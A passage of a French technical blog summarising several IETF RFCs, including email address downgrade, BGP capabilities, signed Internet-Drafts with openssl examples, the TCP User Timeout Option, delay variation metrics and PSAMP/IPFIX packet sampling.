Une fois ces bons principes posés, le RFC discute dans la section 3 quelques questions supplémentaires. 3.1 estime que l'ensemble des mécanismes de configuration existants suffit et qu'il n'est sans doute pas opportun d'en développer d'autres. Cette section rappelle également que l'Internet n'est pas qu'une affaire de machines mais aussi d'humains qui les gèrent et que les considérations organisationnelles doivent être prises en compte lors du choix d'un mécanisme de configuration. Ainsi, routeurs et serveur de noms sont en général sous la responsabilité de deux équipes différentes et qu'il faut veiller à ce que la configuration du routeur ne dépende pas inutilement d'une autre équipe.
La frontière est floue entre configuration et « découverte d'un service » comme le fait SLP (RFC 2608). La section 3.2 explore cette frontière et explique que les deux ont leur place, les mécanismes de découverte de service ayant des capacités plus étendues.
Cela mène le RFC à la question du « destin commun » (fate sharing, section 3.2.1). On parle de destin commun quand deux services ont intérêt à être liés (la panne de l'un entraîne celle de l'autre) car ils n'ont pas de sens séparément. Ainsi, apprendre le routeur par défaut par des RA (router advertisement, RFC 4861) émis par le routeur lui-même est un excellent exemple de destin commun. Si le routeur est en panne, il n'émettra plus de RA et les machines n'apprendront donc pas son adresse. En revanche, si le routeur est appris par DHCP, la panne du routeur ne sera pas forcément détectée par le serveur DHCP et les machines apprendront l'adresse d'un routeur inutilisable.
Le destin commun est donc en général souhaitable pour les protocoles de configuration mais il n'est pas toujours possible.
La section 4 est consacrée à la sécurité, problème toujours difficile d'autant plus qu'une machine pas encore configurée, par définition, ne sait pas encore grand'chose du réseau auquel elle est attachée et est donc très vulnérable à toutes les impostures. Si l'attaquant réussit à convaincre la machine qui se configure d'utiliser tel serveur de noms, que l'attaquant contrôle, alors presque toute l'activité Internet de cette machine est dirigée par l'attaquant. C'est encore pire si l'attaquant convainc une machine sans disque local de charger comme système d'exploitation un programme choisi par l'attaquant.
La section 4.1 explore les solutions possibles. Disons tout de suite qu'il n'y a pas de miracle : la simplicité et la souplesse de la configuration d'IP s'opposent à la sécurité. La plupart des solutions au problème de la sécurité de la configuration dépendent d'une configuration manuelle de chaque machine, ce qui ne réjouira pas l'administrateur système débordé. On peut parfois compter sur la protection apportée par les couches basses (un réseau Ethernet dont les commutateurs protègent l'accès aux différents ports, par exempe). Autrement, il existe plusieurs techniques d'authentification comme SEND (RFC 3971) mais qui, comme le note le RFC, dépend d'une configuration d'une clé sur chaque machine, ce qui n'est pas pratique, surtout lorsque la machine visite plusieurs réseaux.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : K. Fujiwara (JPRS), Y. Yoneya (JPRS)
Expérimental
Première rédaction de cet article le 1 avril 2009
Complétant l'ancienne série de RFC sur l'internationalisation du
courrier électronique, ce document normalise la procédure de
repli (downgrade) que doivent
utiliser les MTA lorsqu'ils essaient de
transmettre un message RFC 5335 à un autre MTA
si ce dernier ne gère pas l'extension UTF8SMTP
du
RFC 5336. Ce mécanisme de repli a finalement été
complètement supprimé lors de la parution des normes définitives,
autour du RFC 6530, et n'a désormais qu'un
intérêt historique.
Écrit par des employés de JPRS, le registre
du .jp
, c'est un document
plutôt simple malgré la complexité du sujet. En effet, lorsque les
autres RFC sur l'internationalisation complète du courrier (comme les
RFC 5335 ou RFC 5336)
seront déployés, ils ne le seront pas instantanément sur toute la
planète. Si on se fie au lent déploiement des extensions précédentes
(comme la transparence aux caractères « 8 bits » du RFC 2045), on peut prévoir d'importants délais, de l'ordre de dix
ans ou plus, avant que tous les MTA suivent le nouveau mécanisme. Que
faire en attendant si un MTA veut transmettre un message complètement
internationalisé à un MTA ancien, qui ne sait pas quoi en faire ? Tous
les MTA écrits avant le RFC 5336 n'acceptent en
effet que les enveloppes et les en-têtes en ASCII.
La solution choisie (introduite par le RFC 5336, sections 3.1 à 3.4, résumée en section 1 de notre RFC) est, soit de renoncer à délivrer le message, la plus simple mais évidemment pas satisfaisante, soit de mettre en œuvre le mécanisme de repli (downgrade) que normalise notre RFC 5504. Ce mécanisme consiste à convertir l'enveloppe SMTP et les en-têtes du message pour être acceptable par le vieux serveur. Elle n'est pas complètement réversible et donc aucun upgrade ne correspond à ce downgrade.
Pour permettre de se souvenir d'une partie de ce qui a été fait, des nouveaux
en-têtes apparaissent, préfixés de Downgraded-
et
qui indiquent l'ancienne valeur. Ils sont encodés en
UTF-8 et surencodés avec la méthode du RFC 2047 (Mon
=?UTF-8?Q?h=C3=B4tel_et_mes_horaires?=
pour « Mon hôtel et
mes horaires »).
La section 3 décrit ces en-têtes Downgraded:
. 3.1 couvre
le repli de l'enveloppe (paramètres des commandes
SMTP MAIL FROM
et
RCPT TO
, voir aussi la section 4). Les adresses qu'elle contient se
replient sur le paramètre ALT-ADDRESS
s'il est
présente (sinon, ce destinataire est abandonné).
3.2 et 3.3 couvrent le repli des en-têtes du message comme
From:
.
La section 4 revient sur le repli de l'enveloppe : celui-ci ne peut
se faire que si l'adresse a un paramètre
ALT-ADDRESS
(cf. RFC 5336).
La section 5, elle, analyse en détail les problèmes que peuvent
poser certains en-têtes lors du repli. Ainsi,
Received:
peut contenir des adresses de
courrier :
Received: from fallback1.mel.teaser.net (fallback1.mel.teaser.net [213.162.54.52]) by mail.bortzmeyer.org (Postfix) with ESMTP id 146B5941E4 for <stéphane+blog@bortzmeyer.org>; Tue, 14 Oct 2008 22:29:11 +0200 (CEST)
et ces adresses doivent également se replier en ASCII.
Quant à la partie 6, elle traite le cas où le corps est structuré
selon MIME (RFC 2045) et
comprend donc des pseudo en-têtes comme
Content-Description:
qui devront peut-être
également se replier. À propos de MIME, il faut noter que le repli ne
considère pas le corps des messages. Si le serveur SMTP suivant, non
seulement ne gère pas UTF8SMTP
mais ne gère pas
non plus le transport « huit bits », il faudra également modifier le
corps du message pour le passer en un encodage qui tient en sept bits
(cf. section 8.2).
La section obligatoire sur la sécurité (section 7) couvre notamment le fait que le repli, comme n'importe quel processus qui modifie le message en cours de route, a de fortes chances d'invalider toute signature apposée à ce message, par exemple avec DKIM (RFC 6376). Les autres méthodes de signature comme PGP (RFC 4880) peuvent également être affectées.
Voyons un exemple (non testé par manque d'implémentations), tiré de l'annexe A.1. Si le message original était :
# Enveloppe SMTP MAIL FROM: <stéphane@bortzmeyer.org> ALT-ADDRESS=stephane@bortzmeyer.org RCPT TO: <françoise@example.org> ALT-ADDRESS=francoise@example.net RCPT TO: <rené@example.org> # Message proprement dit Mime-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Subject: C'est bien de pouvoir écrire en français # La syntaxe ci-dessous a été introduite par le RFC 5335, section 4.4, pour # représenter les ALT-ADDRESS From: Stéphane Bortzmeyer <stéphane@bortzmeyer.org <stephane@bortzmeyer.org>> To: Françoise Durand <françoise@example.org <francoise@example.net>> Cc: René Dupont <rené@example.org> # Corps du message
la version de repli sera :
# Enveloppe SMTP MAIL FROM: <stephane@bortzmeyer.org> RCPT TO: <francoise@example.net> # René a disparu, il n'avait pas d'adresse de repli # Message proprement dit Downgraded-Mail-From: =?UTF-8?Q?<st=C3=A9phane@bortzmeyer.org>_?= =?UTF-8?Q?<stephane@bortzmeyer.org>?= Downgraded-Rcpt-To: =?UTF-8?Q?<fran=C3=A7oise@example.org>_?= =?UTF-8?Q?<francoise@example.net>?= Mime-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Subject: =?UTF-8?Q?C'est bien de pouvoir =C3=A9crire en fran=C3=A7ais?= From: =?UTF-8?Q?St=C3=A9phane Bortzmeyer?= <stephane@bortzmeyer.org> Downgraded-From: =?UTF-8?Q?St=C3=A9phane Bortzmeyer_<st=C3=A9phane@bortzmeyer.org_?= =?UTF-8?Q?<stephane@bortzmeyer.org>>?= To: =?UTF-8?Q?Fran=C3=A7oise Durand?= <francoise@example.net> Downgraded-To: =?UTF-8?Q?_Fran=C3=A7oise Durand?= =?UTF-8?Q?<fran=C3=A7oise@example.org>_<francoise@example.net>>?= Cc: =?UTF-8?Q?Ren=C3=A9 Dupont?= Internationalized address =?UTF-8?Q?ren=C3=A9@example.org?= removed:; Downgraded-Cc: =?UTF-8?Q?Ren=C3=A9 Dupont_?= =?UTF-8?Q?<ren=C3=A9@example.org?>= # Corps du message
Date de publication du RFC : Février 2009
Auteur(s) du RFC : J. Scudder (Juniper), R. Chandra (Sonoa)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idr
Première rédaction de cet article le 26 février 2009
Cette norme modifie le protocole BGP (RFC 4271) pour ajouter une nouvelle option, qui est plutôt une méta-option, permettant de décrire des capacités optionnelles d'un pair BGP.
Sans ce système de capacités (Capabilities), deux routeurs BGP peuvent
annoncer des options lors de la négociation de la session mais tous
ces paramètres bien mal nommés « optionnels » sont obligatoires. Si un
seul d'entre eux n'est pas reconnu par le pair, celui-ci doit refuser
la session (RFC 4271, section 6.2). Cela
rendrait très difficile de déployer de nouvelles options. D'où le
paramètre optionnel CAPABILITIES
que décrit notre
RFC et qui est le seul que les routeurs doivent connaitre. Il permet
de décrire des options qui sont réellement facultatives (section
1).
La section 3 explique comment utiliser ce paramètre. En gros, une
capacité peut être utilisée si les deux pairs l'ont publiée dans un
paramètre CAPABILITIES
. Si ce paramètre lui-même
n'est pas géré, notre RFC conseille de réessayer sans
lui. Naturellement, un routeur BGP est toujours libre de ne pas
établir de session s'il manque une capacité qu'il juge indispensable
(le RFC cite l'exemple des extensions multiprotocole du RFC 4760, section 8, indispensables pour un routeur
IPv6). La section 5 revient sur ce sujet en
spécifiant les comportements possibles en cas d'erreur.
Et la section 4 décrit précisement le paramètre
CAPABILITIES
, qui porte le numéro 2 parmi les
paramètres optionnels de BGP. Les
capacités sont encodées en TLV par un code (1 pour les extensions
multiprotocoles du RFC 4760, ou 65 pour les AS sur quatre octets du RFC 6793), une longueur et une valeur. Les codes sont
enregistrés
à l'IANA. (Leur procédure d'enregistrement a été modifiée par
la suite, dans le RFC 8810.)
Ce RFC remplace son prédécesseur, le RFC 3392. Les
changements, décrits dans l'annexe B, sont peu nombreux et consistent
surtout en un durcissement de certaines règles, maintenant que tous les
routeurs BGP gèrent CAPABILITIES
.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : R. Housley (Vigil Security)
Pour information
Première rédaction de cet article le 6 mars 2009
Dernière mise à jour le 13 décembre 2010
Lorsqu'un document, par exemple un Internet-Draft est publié et distribué via l'Internet, il peut être difficile de prouver qu'il est bien « authentique », qu'il a été validé et pas modifié ensuite. La technique la plus courante pour cela est la signature cryptographique et ce nouveau RFC explique comment elle s'applique aux Internet-Drafts.
Le principe est le suivant : lors de la réception d'un nouvel Internet-Draft le secrétariat de l'IETF le signe au format CMS (RFC 3852), en utilisant un certificat X.509 (qui reste apparemment à publier). La signature, détachée de l'Internet-Draft, au format PKCS#7, est publiée avec les Internet-Drafts.
Pourquoi CMS et pas PGP tel que normalisé dans le RFC 4880 ? Je l'ignore mais c'est sans doute lié au fait que les défenseurs de X.509 sont plus bruyants, beaucoup d'argent est en jeu pour eux, avec les coûteuses AC.
Les détails, maintenant. CMS utilise ASN.1 (section 1.2) et ASN.1 a certains encodages qui permettent plusieurs représentations de la même donnée. C'est évidemment gênant pour la signature et notre RFC impose donc l'encodage DER qui n'a pas ce défaut.
Le texte de l'Internet-Draft devra être canonicalisé. Pour les Internet-Drafts au format texte seul, il faut notamment avoir une forme unique pour les fins de lignes, la forme standard CRLF (cf. annexe B du RFC 5198, la seule norme de cette forme standard). Pour ceux en XML (section 2.3), suivant la norme XML, ce sera LF qui marquera la fin de ligne. Les autres formats seront simplement traités comme du binaire.
CMS est une norme très complexe et la
section 3 est consacrée à définir un profil de CMS pour nos
signatures. C'est aussi l'occasion de spécifier quelques points
pratiques comme l'importance pour le secrétariat qui publie les Internet-Drafts
d'avoir des ordinateurs à l'heure, pour que l'attribut
Signing-Time
(section 3.2.3.3) soit correct.
Enfin, comme le but de toute l'affaire est la sécurité, le RFC se termine sur des Security Considerations (sections 5 et 6) qui recommandent l'usage de HSM pour stocker la clé privée de l'IETF.
Les signatures détachées portent l'extension
p7s
(section 2 et cf. RFC 3851). Les
signatures peuvent être vérifiées avec OpenSSL
(version 0.9.9 minimum car il faut la commande
cms
, et version 1.0 maximum, en raison d'un
problème avec la 1.1, vous pouvez taper openssl
version
pour tester votre version). En attendant que
j'installe cette version, j'ai fait les essais suivants avec la
commande smime
, puisque
S/MIME et CMS ont
beaucoup en commun.
Si je suis un simple lecteur d'Internet-Drafts et que je veux vérifier une signature (annexe A) :
% openssl smime -verify -CAfile $CERT -content ${id} \ -inform DER -in ${id}.p7s -out /dev/null
où id
est le nom de l'Internet-Draft et
CERT
celui du fichier .pem
contenant le certificat de l'IETF. Si tout se passe bien, OpenSSL
répondra :
Verification successful
et si un seul caractère de l'Internet-Draft a été modifié :
Verification failure 14024:error:04077068:rsa routines:RSA_verify:bad signature:rsa_sign.c:235: 14024:error:21071069:PKCS7 routines:PKCS7_signatureVerify:signature failure:pk7_doit.c:981: 14024:error:21075069:PKCS7 routines:PKCS7_verify:signature failure:pk7_smime.c:312:
Si je veux juste regarder le certificat contenu dans la signature :
% openssl pkcs7 -print_certs -inform DER -in ${id}.p7s subject=/C=FR/L=Paris/O=Bidon/CN=Ca essai issuer=/C=FR/L=Paris/O=Bidon/CN=CA essai
Si je suis le secrétariat de l'IETF et que je veux signer un Internet-Draft (bien sûr, dans la réalité, cela ne sera pas fait à la main avec la ligne de commande) :
% openssl smime -sign -in $id -inkey privkey.pem -outform DER -binary \ -signer mycacert.pem -out ${id}.p7s -noattr
Si vous voulez faire l'essai complet, le moyen le plus rapide de créer
l'infrastructure du secrétariat (les fichiers
privkey.pem
et mycacert.pem
)
est :
% openssl genrsa -out privkey.pem 1024 % openssl req -sha1 -new -x509 -key privkey.pem -out mycacert.pem -days 1095
À noter que cette technique ne s'applique qu'aux Internet-Draft, pas aux RFC eux-même (et cela sera sans doute difficile en raison de l'extrême prudence du RFC editor).
La mise en service de ce système a eu lieu (avec retard) en décembre 2010 et son mode d'emploi est désormais documenté.
Ce RFC a été légèrement mis à jour par la suite avec le RFC 8358.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : L. Eggert (Nokia), F. Gont (UTN/FRH)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 17 mars 2009
Le RFC 793, qui normalise TCP, prévoit un paramètre local user timeout qui permet de régler la « patience » de TCP. S'il n'arrive pas à échanger des données avec son partenaire avant l'expiration de ce délai, TCP renonce et coupe la connexion. Notre RFC étend l'utilité de ce paramètre, en permettant de le communiquer au partenaire, pour qu'il soit prévenu de la patience ou de l'impatience de celui avec qui il communique. On augmente ainsi les chances des connexion TCP de survivre aux longues coupures ou, au contraire, de détecter plus rapidement la coupure du réseau.
Ce paramètre user timeout peut être spécifié par l'application qui utilise TCP (ceci-dit, je ne trouve pas l'option de setsockopt qui permettrait de le faire sur tout Unix ; d'après le RFC, Solaris a une telle option). Il vaut cinq minutes par défaut (section 3.8 du RFC 793). Mais il n'était jamais connu de l'autre machine avec laquelle on est connecté en TCP. C'est ce que change notre RFC qui permet de communiquer ce paramètre.
Cette communication se fait via le mécanisme d'option de TCP, décrit dans la section 3.1 du RFC 793. La nouvelle option porte le nom d'UTO (User Timeout Option) et est strictement indicative : le TCP qui la reçoit peut parfaitement l'ignorer. S'il l'accepte, il va ajuster son propre user timeout à la valeur indiquée. Ainsi, TCP pourra, par exemple, survivre à de longues périodes de déconnexion, sans que le partenaire ne raccroche.
La section 1 fournit d'autres cas où cette option UTO est utile : pour des mobiles utilisant une technique qui conserve l'identificateur comme HIP (RFC 9063) ou Mobile-IP (RFC 3344), les périodes pendant lesquelles le mobile n'a pas de connexion risquent d'être longues. Le fait de garder l'identificateur (adresse IP ou Host Identity) constant permet en théorie de garder les sessions TCP lorsqu'on se déconnecte et se reconnecte mais, avant l'option UTO, cela ne servait à rien puisque TCP coupait la connexion qui lui semblait en panne.
De même, l'application peut dans certains cas connaître la durée d'une déconnexion et utiliser UTO pour prévenir son partenaire (le RFC cite l'exemple amusant d'une sonde spatiale qui sait, grâce aux lois de la mécanique céleste, qu'elle ne sera pas en vue de sa base pendant une longue période).
La section 3 définit rigoureusement la nouvelle option. Quatre
paramètres définissent le comportement du TCP local :
USER_TIMEOUT
, qui existe déjà (mais n'est pas
réglable sur tous les systèmes d'exploitation, cf. sections 3.1 et 5),
ADV_UTO
, la valeur de l'UTO communiquée au pair
(typiquement identique à USER_TIMEOUT
), ENABLED
qui indique si le pair doit être notifié
par la nouvelle option UTO et CHANGEABLE
qui
indique si USER_TIMEOUT
doit être ajusté en
fonction des notifications du pair (ou bien s'il doit être ignoré, ce
qui est permis).
La section 3.1 contient une discussion détaillée des « bonnes »
valeurs pour USER_TIMEOUT
(notons que ce ne sera
pas forcément le même pour les deux pâirs). Le RFC 1122
donnait quelques recommandations à ce sujet (par exemple, les valeurs
inférieures à 100 s sont découragées). La 3.2 discute de la fiabilité
de la transmisson d'UTO (inexistante, comme toutes les options TCP ;
il ne faut donc pas tenir pour acquis qu'elle a été reçue par le
pair). Et 3.3 décrit le format concret de l'option : numéro 28
(enregistré dans le registre IANA), un
bit qui indique l'unité utilisée (minutes ou secondes) et 15 bits qui
contiennent la valeur elle-même.
La section 4 passe aux problèmes pratiques que peut rencontrer le déploiement de l'option. Le RFC rappelle en section 3 que l'espace des options dans TCP est limité (40 octets) et que l'ajout d'UTO peut nécessiter de renoncer à certaines options. Il faut aussi dire que beaucoup de pare-feux bogués rejettent tout paquet TCP ayant des options (cf. Probing the viability of TCP extensions) et que celles-ci sont donc difficiles à utiliser en pratique. En théorie, une implémentation de TCP qui ne connait pas cette option devrait l'ignorer (RFC 1122) et le RFC décrète que, bien qu'il y aie quelques violations de cette règle (cf. Measuring interactions between transport protocols and middleboxes), elles ne méritent pas qu'on renonce à une option utile (section 4.1). Notez aussi qu'un pare-feu à état a typiquement ses propres délais de garde et peut donc couper une connexion sans tenir compte de l'UTO annoncée (les pare-feux futurs tiendront peut-être compte de cette option).
J'ai déjà mentionné la difficulté qu'il y a à changer la valeur de
USER_TIMEOUT
. La section 5 revient sur cette
question de l'API mais ne fournit pas de
proposition de normalisation de l'API des prises.
Bien sûr, l'UTO introduit des problèmes de sécurité nouveaux, discutés en section 6. Par exemple, un méchant pourrait spécifier de très longs délais de garde, puis s'en aller pendant que sa victime serait forcée de garder une connexion ouverte pendant de longues minutes, malgré l'absence de trafic. Notre RFC propose des mécanismes pour limiter les risques comme n'accepter les UTO qu'après authentification IP (par exemple par IPsec), ou bien seulement après que l'application aie indiqué à TCP qu'elle avait réussi une authentification à son niveau, par exemple par TLS. Sans authentification, TCP pourrait aussi mettre des limites au délai de garde total d'un pair (s'il a ouvert plusieurs connexions) et au délai de garde total (pour limiter les risques dus aux dDoS).
Je n'ai pas trouvé tout de suite de trace de mises en œuvre de TCP qui incluent cette option UTO mais, depuis, il y a cet article expérimental.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : A. Morton (AT&T labs), B. Claise (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 4 mars 2009
Le RFC 3393 normalise une métrique de variation du délai d'acheminement des paquets. Cette métrique est assez souple pour que, en pratique, plusieurs formules aient été utilisées. Ce RFC en discute deux et précise leur usage.
Souvent, le délai moyen d'acheminement d'un paquet (ce que peut mesurer, dans une certaine mesure, la commande ping) n'est pas la seule métrique de délai intéressante. Il est souvent utile de connaître la variation de ce délai d'acheminement. Les applications « temps-réel » par exemple en vidéo sont en effet très sensible à la gigue, c'est-à-dire à cette variation, par exemple parce qu'elle va nécessiter de stocker les données dans un tampon, avant de commencer leur affichage, pour garantir que celui-ci reste lisse pendant toute la session (voir le RFC 3550 et la section 3 de notre RFC 5481). Outre le RFC 3393, cette gigue fait l'objet de la norme ITU Y.1540. En anglais, le mot jitter (gigue) est souvent utilisé mais le RFC préfère « variation de délai ».
Cette variation se mesure par rapport au délai d'acheminement d'un paquet (métrique définie dans le RFC 7679). Comme le rappelle la section 1, il y a deux grandes formulations possibles pour la variation de délai :
Toutes les deux sont compatibles avec le RFC 3393.
La section 3 détaille les usages qui sont raisonnables pour cette métrique. Par exemple, la section 3.2 discute des « tampons de suppression de gigue », ces structures de données où les applications audio et vidéo gardent les données, pour compenser les variations du réseau. Les formules pour calculer leur taille optimale dépendent de la variation de délai d'acheminement. Ou bien la section 3.4 explique que cette variation peut être pertinente pour comparer les offres de deux opérateurs et qu'elle peut même faire l'objet d'un SLA.
Enfin la section 4 donne les définitions exactes pour les deux formules, IPDV et PDV. IPDV est en 4.1 et se définit simplement comme la différence entre le délai d'acheminement du paquet i et celui du paquet i-1 (l'IPDV peut donc être négatif). PDV, en section 4.2, est défini comme la différence entre le délai d'acheminement du paquet i et celui du paquet au délai le plus faible. Il est donc toujours positif (ou nul). (La section 12 revient sur le calcul de ce délai minimum, par rapport auquel tout est mesuré.)
Pour les érudits, la section 5 détaille la littérature existante sur la question et les comparaisons déjà faites entre IPDV et PDV. Ces comparaisons ont utiles pour estimer la « meilleure » formule pour un problème donné.
Le point de vue des auteurs du RFC est en section 7, consacrée à l'étude de l'applicabilité de chaque formule à divers problèmes. Ainsi, la question de la taille des tampons de suppression de gigue, en section 7.1.2 est tranchée en faveur de PDV, car le tampon est calculé pour que le paquet de délai maximum n'attende pas et que le paquet de délai minimum attende pendant toute la longueur du tampon. Même chose si on est en présence de nombreuses pertes de paquets (section 7.2.3) : IPDV se comporte mal dans ce cas car chaque perte fait aussi perdre la mesure qui aurait pu être faite au paquet suivant. Par contre, si on désire utiliser la variation de délai pour mesurer des changements de route sur le réseau, IPDV est préféré, pour les raisons expliquées en section 7.2.2 (meilleure isolation des effets de chaque changement).
La section 8 couvre les problèmes pratiques que pose la mesure. Par exemple, comme notre métrique est dérivée d'une métrique uni-directionnelle, la synchronisation des horloges des machines est cruciale. C'est ce qu'explique la section 8.5, qui recommande le GPS et déconseille NTP.
Pour mesurer la gigue avec du logiciel libre, voir le bon article de NicoLargo.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : T. Zseby, M. Molina, N. Duffield, S. Niccolini, F. Raspall
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF psamp
Première rédaction de cet article le 1 avril 2009
Ce RFC fait partie de la série des normes produites par le groupe de travail psamp sur l'échantillonage (ou, plus exactement, la sélection) des paquets IP. Les explications générales sur ce mécanisme figurent dans le RFC 5474 et notre RFC 5475, lui, détaille les techniques de sélection des paquets.
Il est donc très recommandé de lire le RFC 5474 avant puisque ce RFC 5475 en reprend les concepts et le vocabulaire (sections 2 et 3, ainsi que la section 4, qui reprend la classification des techniques de sélection en filtrage (où on sélectionne certains paquets selon leurs propriétés, par exemple tous les paquets UDP) et échantillonage où on veut juste sélectionner un sous-ensemble représentatif des paquets. L'échantillonage peut se faire via une fonction de hachage (avec certaines de ces fonctions, cela peut faire un échantillonage quasi-aléatoire) mais, à part ce cas, le contenu du paquet n'est pas pris en compte. La même section 4 rappelle les différentes techniques de sélection, déjà présentées dans le RFC 5474 comme par exemple l'échantillonnage fondé sur le comptage des paquets ou celui fondé sur le temps.
La section 5 est consacrée à l'étude détaillée des techniques d'échantillonage. En fonction du phénomène qu'on veut étudier, on utilisera telle ou telle technique. Par exemple, l'échantillonage systématique (section 5.1) est déterministe et se décline en échantillonage systématique fondé sur le rang des paquets (on sélectionne un paquet sur N) et en échantillonage systématique fondé sur le temps (on prend tous les paquets, mais pendant une courte période).
L'échantillonage aléatoire est décrit dans la section 5.2 et lui aussi se décline en de nombreuses variantes, par exemple selon la distribution utilisée.
La section 6 parle, elle, du filtrage. Contrairement à l'échantillonage, le filtrage considère que le contenu du paquet est important, mais pas sa place dans le temps. Dans le cas du filtrage fondé sur les propriétés (section 6.1), le RFC 5475 permet d'utiliser comme critères de filtrage les attributs d'IPFIX (RFC 7012). Ces attributs (un sous-ensemble de ce qui est disponible, par exemple dans le BPF) sont combinables avec un opérateur ET (pas de OU en standard, par contre). Dans le filtrage fondé sur une fonction de hachage (section 6.2), le contenu du paquet n'est pas utilisé directement mais via cette fonction. Un des buts est, par exemple, de coordonner la sélection des mêmes paquets en différents points d'observation. Le RFC détaille ce filtrage, les différentes utilisations possibles et les propriétés souhaitables pour ls fonctions de hachage (comme la vitesse). Les programmeurs noteront avec plaisir que l'annexe A contient plusieurs mises en œuvre d'une « bonne » fonction de hachage, dont une optimisée pour IPv4, où le résultat n'a pas de lien évident avec le contenu du paquet. (Il existe aussi une étude comparative de ces fonctions dans A Comparative Experimental Study of Hash Functions Applied to Packet Sampling.)
Les différentes techniques de sélection sont résumées par un tableau synthétique dans la section 7.
Notez, hélas, que certains prétendent avoir breveté certaines de ces techniques. Il s'agit probablement de brevets futiles, comme 99,9 % des brevets logiciels mais on ne sait jamais...
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : Nick Duffield (AT&T Labs)
Pour information
Réalisé dans le cadre du groupe de travail IETF psamp
Première rédaction de cet article le 1 avril 2009
L'échantillonnage est une opération qui consiste à ne sélectionner qu'une partie des objets qu'on mesure. Par exemple, lors de l'étude des paquets passant par un réseau, on ne capture qu'une partie des paquets, afin de ne pas faire exploser le disque et que le temps d'analyse reste raisonnable. Le groupe de travail PSAMP de l'IETF met au point des normes sur l'échantillonnage de paquets, afin de garantir une certaine cohérence dans les mesures. Ce RFC présente le cadre général de PSAMP.
Les travaux de PSAMP partent dans plusieurs directions, aussi bien la définition des opérations d'échantillonnage que le protocole permettant de transmettre à une autre machine les paquets capturés (de la même façon qu'IPFIX transmet des informations sur les flux). Notre RFC 5474 est le cadre général, le RFC 5475 décrit les mécanismes d'échantillonnage, le RFC 5476 normalise le protocole qui permet d'exporter le résultat de l'échantillonnage et le RFC 5477 décrit le schéma de données utilisé pour cette exportation.
Attaquons cette famille avec la section 3 du RFC, qui décrit les généralités. À un endroit du réseau (par exemple sur le port d'un routeur), on observe les paquets, un processus les sélectionne (c'est l'échantillonnage), un autre construit des données en utilisant les paquets sélectionnés et un dernier les exporte vers un point de collecte, où se fera l'analyse finale (selon un mécanisme proche de celui d'IPFIX, RFC 7011). Les paquets sélectionnés n'ont pas forcément quelque chose en commun et c'est pour cela que le RFC utilise pour l'exportation le terme de stream et pas celui de flow (RFC 3917).
Je m'intéresse particulièrement ici au processus de sélection, décrit en section 3.3. La sélection peut se faire sur divers critères, et elle peut mettre dépendre d'un état du processus du sélection (le RFC cite plusieurs exemples de tels états comme le numéro d'ordre du paquet, comme l'état d'un générateur pseudo-aléatoire, etc).
Les protocoles qui mettent en œuvre ce système obéissent à des exigences décrites en section 4. Les mécanismes de sélection (section 4.1) doivent être :
Les sélecteurs obéissant à ces critères figurent en section 5 et surtout dans le RFC 5475.
Il y a aussi des exigences pour le système de mesure (capacité à indiquer que de l'information a été perdue, respect de la vie privée des utilisateurs, selon le RFC 2804, etc), et pour le système d'exportation (proches de celles d'IPFIX, cf. RFC 3917).
Les sélecteurs sont décrits en section 5. Ils sont de deux modèles,
ceux qui filtrent et ceux qui échantillonent. Les premiers
sélectionnent certains paquets selon les caractéristiques du
paquet. Par exemple, si on dit à tcpdump, en
langage BPF, tcp and dst port
443
, il va filtrer selon ce critère et ne garder que les
paquets TCP à destination du port 443
(HTTPS). Les seconds, ceux qui échantillonent,
sont tous les autres, ceux qui n'utilisent pas uniquement le contenu du paquet
mais un critère extérieur, par exemple un tirage aléatoire. Les
sélecteurs qui échantillonent se divisent à leur tour en deux
sous-groupes, ceux où la sélection ne dépend pas du tout du contenu du
paquet et ceux où ce contenu est utilisé, par exemple pour réaliser
une distribution non
uniforme. Donc, si j'utilise
pcapdump et que je le lance avec l'option
-S
, j'utilise un sélecteur qui n'est pas un
filtre, et qui ne dépend pas du tout du contenu du paquet (cette
option garde un paquet sur N, où N est l'argument de l'option).
La section 5.2 résume les sélecteurs importants :
-S
de pcapdump mentionnée plus haut. À ma
connaissance, ni tcpdump, ni Wireshark n'ont
une option équivalente.Les sélecteurs peuvent naturellement être combinés (section 5.5), par exemple en faisant un filtrage suivi d'un échantillonnage.
Mais, au fait, quelle est l'utilité de ce travail ? La section 11 donne des exemples d'applications de l'échantillonnage.
Enfin, l'inévitable section sur la sécurité est la numéro 12, qui pointe, entre autres, un problème général de toutes les mesures passives, le risque d'atteintes à la vie privée (section 12.2) et un risque spécifique de l'échantillonnage, celui qu'un méchant tente d'échapper à la détection en se débrouillant pour que ses paquets ne soient pas ceux sélectionnés (section 12.3).
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : G. Sadasivan (Cisco), N. Brownlee (CAIDA / University of Auckland), B. Claise (Cisco), J. Quittek (NEC Europe)
Pour information
Première rédaction de cet article le 1 avril 2009
Voici donc les RFC décrivant le protocole IPFIX, le successeur normalisé de Netflow. Ce RFC particulier décrit l'architecture d'IPFIX.
Ces RFC sont bâtis sur le travail du groupe "ipfix" de l'IETF qui avait formalisé son cahier des charges dans le RFC 3917. Il s'agissait de remplacer le protocole privé Netflow par un mécanisme ouvert et normalisé.
La section 2 du RFC décrit la terminologie utilisée. L'un des principaux termes est évidemment celui de flot (flow) et on notera la définition très large choisie : en gros, un flot est n'importe quel ensemble de paquets pour lequel il existe un critère automatique permettant de tester leur appartenance au flot. Cela peut donc être l'adresse source, l'adresse destination, ou même des données qui n'apparaissent pas dans le paquet (comme l'adresse du routeur suivant).
Les autres concepts importants sont ceux d'exporteur (exporter, nommé probe dans Netflow) et de récolteur (collector). Le premier (en général un routeur mais ce n'est pas obligé, le logiciel libre Ntop peut aussi servir d'exporteur) exporte des flots sous forme agrégée, le second les récolte et les traite.
On notera que le format des flots n'est pas complètement spécifié dans les RFC. En effet, chaque exporteur peut définir des gabarits (template) décrivant les données transmises par le flot (section 5.6 du RFC).
Date de publication du RFC : Février 2009
